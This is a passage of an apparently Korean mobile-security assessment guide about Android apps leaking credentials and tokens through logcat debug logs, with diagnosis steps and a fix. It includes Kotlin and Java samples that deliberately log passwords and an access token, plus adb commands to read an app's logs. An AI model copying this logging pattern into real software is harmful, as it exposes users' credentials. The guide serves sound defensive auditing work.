&lt;td width=&quot;151&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;Log.d(tag, msg)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;450&quot;&gt;&lt;span&gt;&lt;span&gt;debugging,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;디버그 목적으로 문제 발생 가능성에 기록&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;151&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;Log.e(tag, msg)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;450&quot;&gt;&lt;span&gt;&lt;span&gt;error,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;심각한 문제 발생시 기록&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;151&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;Log.v(tag, msg)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;450&quot;&gt;&lt;span&gt;&lt;span&gt;verbose,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;동작 여부를 자세히 살펴볼 목적으로 기록&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;151&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;Log.w(tag, msg)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;450&quot;&gt;&lt;span&gt;&lt;span&gt;warning,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;심각하지 않지만 문제의 소지가 있음을 기록&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;151&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;Log.i(tag, msg)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;450&quot;&gt;&lt;span&gt;&lt;span&gt;information,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;진행과정을 모니터링하기 위해 기록&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 디버그 로그 함수의 태그&lt;span&gt;(tag)&lt;/span&gt;와 메시지&lt;span&gt;(msg)&lt;/span&gt;에는 개발자가 직접 디버깅에 필요한 정보를 나타내는 문자열을 사용한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;소스코드 내 디버그로그를 출력하는 함수가 있다면 컴파일 시점에는 함께 컴파일되지만&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;런타임 시점에는 삭제된다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;하지만&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #f3c000;&quot;&gt;&lt;b&gt;오류(error), 경고(warning), 정보(information)로그&lt;/b&gt;&lt;/span&gt;는 항상 유지된다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1730993181070&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;kotlin&quot;&gt;&lt;code&gt;import android.util.Log
//(...생략...)
class LoginActivity : AppCompatActivity() {
    private lateinit var loginViewModel: LoginViewModel
    private lateinit var binding: ActivityLoginBinding
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        binding = ActivityLoginBinding.inflate(layoutInflater)
        setContentView(binding.root)
        val username = binding.username
        val password = binding.password
        val login = binding.login
        val loading = binding.loading
        loginViewModel = ViewModelProvider(this, LoginViewModelFactory())
            .get(LoginViewModel::class.java)
        loginViewModel.loginFormState.observe(this@LoginActivity, Observer {
            val loginState = it ?: return@Observer
            // disable login button unless both username / password is valid
            login.isEnabled = loginState.isDataValid
            if (loginState.usernameError != null) {
                username.error = getString(loginState.usernameError)
            }
            if (loginState.passwordError != null) {
                password.error = getString(loginState.passwordError)
            }
            Log.i(&quot;LOGIN ACTIVITY - username: &quot;, username.text.toString())
            Log.i(&quot;LOGIN ACTIVITY - password: &quot;, password.text.toString())
        })
	//(...생략...)
	}
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 액티비티에서 입력 폼에 값을 입력하여 폼의 상태&lt;span&gt;(State)&lt;/span&gt;가 변경될 때마다 디버그 로그를 출력하도록 한 코드이다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;개발자는 입출력 처리 로직을 구성할 때 데이터가 잘 처리되는지 여부를 확인할 목적으로 위와 같이 디버그 로그를 구성할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 앱 실행 중 로그캣에 기록된 로그는 개발자 도구나 명령어를 통해 접근이 가능하다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;따라서 악의적인 공격자가 해당 로그를 열람하거나 분석을 시도할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;2. 진단 방법&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그 출력을 보려면 단말을 연결한 후 로그캣&lt;span&gt;(Logcat)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;명령을 실행하면 된다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;또는 안드로이드 스튜디오 하단의 메뉴에서 로그캣을 제공하고 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;637&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bm3pWo/btsKp7tFRV3/KcMDNUo3HYqLjxQK4wvDkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bm3pWo/btsKp7tFRV3/KcMDNUo3HYqLjxQK4wvDkK/img.png&quot; data-alt=&quot;디버그 로그 내 계정정보 평문 노출&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bm3pWo/btsKp7tFRV3/KcMDNUo3HYqLjxQK4wvDkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbm3pWo%2FbtsKp7tFRV3%2FKcMDNUo3HYqLjxQK4wvDkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;637&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;637&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;디버그 로그 내 계정정보 평문 노출&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그캣의 출력 형식은 다음과 같다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; width=&quot;653&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td width=&quot;55&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;date&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;64&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;time&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;95&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;PID-TID&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;104&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;packagename&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;75&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;priority&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;121&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;tag&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;139&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;message&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;55&quot;&gt;&lt;span&gt;날짜&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;64&quot;&gt;&lt;span&gt;시간&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;95&quot;&gt;&lt;span&gt;프로세스&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;스레드식별자&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;104&quot;&gt;&lt;span&gt;패지키명&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;75&quot;&gt;&lt;span&gt;로그레벨&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;121&quot;&gt;&lt;span&gt;태그&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;139&quot;&gt;&lt;span&gt;메시지&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;55&quot;&gt;&lt;span&gt;&lt;span&gt;23-&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;08-14&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;64&quot;&gt;&lt;span&gt;&lt;span&gt;20:42:58&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;95&quot;&gt;&lt;span&gt;&lt;span&gt;9794-9794&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;104&quot;&gt;&lt;span&gt;&lt;span&gt;com.gomguk&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;.secondlogin&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;75&quot;&gt;&lt;span&gt;&lt;span&gt;I&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;121&quot;&gt;&lt;span&gt;&lt;span&gt;LOGIN ACTIVITY &amp;ndash; username:&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;139&quot;&gt;&lt;span&gt;&lt;span&gt;myemail@email.com&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;55&quot;&gt;&lt;span&gt;&lt;span&gt;23-&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;-08-14&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;64&quot;&gt;&lt;span&gt;&lt;span&gt;20:42:58&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;95&quot;&gt;&lt;span&gt;&lt;span&gt;9794-9794&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;104&quot;&gt;&lt;span&gt;&lt;span&gt;com.gomguk&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;.secondlogin&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;75&quot;&gt;&lt;span&gt;&lt;span&gt;I&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;121&quot;&gt;&lt;span&gt;&lt;span&gt;LOGIN ACTIVITY &amp;ndash; password&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;139&quot;&gt;&lt;span&gt;&lt;span&gt;Mypassword123!&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예제 코드의 실행 결과로 입력폼에 값을 입력할 때 로그캣에 입력한 데이터가 평문으로 노출되는 것을 확인할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;ADB&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;명령으로 로그캣 실행을 통해 디버그 로그를 확인할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;먼저&lt;span&gt;, adb shell&lt;/span&gt;로 단말에 접속하여 실행중인 앱의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;PID(Process ID)&lt;/span&gt;를 식별한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;br /&gt;&lt;b&gt;ADB&lt;/b&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;&lt;i&gt;ps -ef | grep [앱 패키지명]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/i&gt;&lt;/i&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;916&quot; data-origin-height=&quot;142&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d16oRI/btsKpgZaJ52/i6ZtvZ16YqDD71ixAkSV01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d16oRI/btsKpgZaJ52/i6ZtvZ16YqDD71ixAkSV01/img.png&quot; data-alt=&quot;실행중인 앱 PID 식별하기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d16oRI/btsKpgZaJ52/i6ZtvZ16YqDD71ixAkSV01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd16oRI%2FbtsKpgZaJ52%2Fi6ZtvZ16YqDD71ixAkSV01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;916&quot; height=&quot;142&quot; data-origin-width=&quot;916&quot; data-origin-height=&quot;142&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;실행중인 앱 PID 식별하기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;i&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/i&gt;
&lt;p style=&quot;color: #666666;&quot; data-ke-size=&quot;size16&quot;&gt;식별한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;PID&lt;/span&gt;를 인자로 전달하여 목적하는 앱의 디버그 로그를 분석한다&lt;span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #666666;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt;PC&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;adb logcat --pid=[PID]&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;921&quot; data-origin-height=&quot;296&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqlTWz/btsKqy5uLAL/bFGgDPFlcOeS9LGkivkuH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqlTWz/btsKqy5uLAL/bFGgDPFlcOeS9LGkivkuH0/img.png&quot; data-alt=&quot;ADB를 이용한 로그캣 로그 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqlTWz/btsKqy5uLAL/bFGgDPFlcOeS9LGkivkuH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqlTWz%2FbtsKqy5uLAL%2FbFGgDPFlcOeS9LGkivkuH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;921&quot; height=&quot;296&quot; data-origin-width=&quot;921&quot; data-origin-height=&quot;296&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;ADB를 이용한 로그캣 로그 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그캣은 로그 수준 설정과 관계없이 모든 메시지를 계속 수집하기 때문에 분석에 불필요한 정보가 함께 기록되어 필요한 데이터를 분석하는 데 시간이 오래 걸릴 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;안드로이드 스튜디오 내 로그캣 기능에서 로그 필터 옵션을 제공한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;또는 로그캣 수집 및 필터링 기능을 지원하는 서드 파티&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;GUI&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;도구인&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;&lt;/span&gt;&lt;b&gt;로그 필터&lt;/b&gt;&lt;span&gt;&lt;b&gt;(LogFilter)&lt;/b&gt;&amp;rsquo;&lt;/span&gt;를 사용할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;432&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yLxmA/btsKpsE09OS/k9wVFXnkuhRuK6SjkkrYT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yLxmA/btsKpsE09OS/k9wVFXnkuhRuK6SjkkrYT0/img.png&quot; data-alt=&quot;로그 필터를 이용한 디버그 로그 분석&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yLxmA/btsKpsE09OS/k9wVFXnkuhRuK6SjkkrYT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyLxmA%2FbtsKpsE09OS%2Fk9wVFXnkuhRuK6SjkkrYT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;432&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;432&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;로그 필터를 이용한 디버그 로그 분석&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그 필터 실행 후 연결된 단말 또는 에뮬레이터 선택 후 필터링할 단어&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;로그레벨&lt;span&gt;, PID&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;등을 선택 후&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;Start&amp;rsquo;&lt;/span&gt;를 통해 로그를 수집한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;수집한 로그는 로그필터를 실행한 경로 내 텍스트 파일&lt;span&gt;(txt)&lt;/span&gt;로 저장되어 실행이후에도 다시 분석할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;위와 같이 사용자 입력 내용이 디버그 로그에 남을 경우&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;사용자의 행동 패턴이나 민감한 데이터가 노출될 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;Log.d(&quot;Facebook-authorize&quot;, &quot;Login Success! access_token=&quot; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + getAccessToken() + &quot; expires=&quot; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + getAccessExpires());&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디버그 로그에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;API Key,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;토큰 값이 기록되는 경우&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;공격자가 획득한 키를 이용하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;API&lt;/span&gt;호출&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;권한 탈취 등&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;차 공격에 악용할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;  주의&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;로그캣에 기록되는 로그는 자바에 선언된 로그 클래스(android.util.Log)의 함수에 정의된 경우에만 출력된다. 자바에서 콘솔 출력을 위해 사용하는 함수(System.out.println())나 로그 클래스를 개발자가 별도로 로그 클래스를 정의해서 사용하는 경우 로그캣을 통한 디버그 로그에 출력되지 않을 수 있다.&lt;br /&gt;&lt;br /&gt;코드 분석 및 동적 분석을 통해 별도 선언된 로그 클래스에서도 디버그 로그 내 민감정보가 노출되는 경우 취약으로 진단한다.&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #bfbfbf; text-align: center;&quot; width=&quot;94&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;취약여부&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bfbfbf; text-align: center;&quot; width=&quot;507&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;설명&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;94&quot;&gt;&lt;span&gt;취약&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;507&quot;&gt;&lt;span&gt;디버그 로그 내 중요정보가 노출되는 경우&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;94&quot;&gt;&lt;span&gt;양호&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot; width=&quot;507&quot;&gt;&lt;span&gt;디버그 로그 내 중요정보가 노출되지 않는 경우&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;&lt;b&gt;3. 보안 대책&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span&gt;①&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;배포 전 디버그 로그 제거&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디버그 로그는 개발 과정에서 많은 도움을 주지만&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앱을 배포할 때는 로그를 제거하거나 최소화해야 한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;로그에는 앱의 동작 정보뿐만 아니라 민감한 데이터가 포함될 수 있으므로&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;특히 개인정보나 보안 키와 같은 민감한 정보는 등은 로깅하지 않도록 주의한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
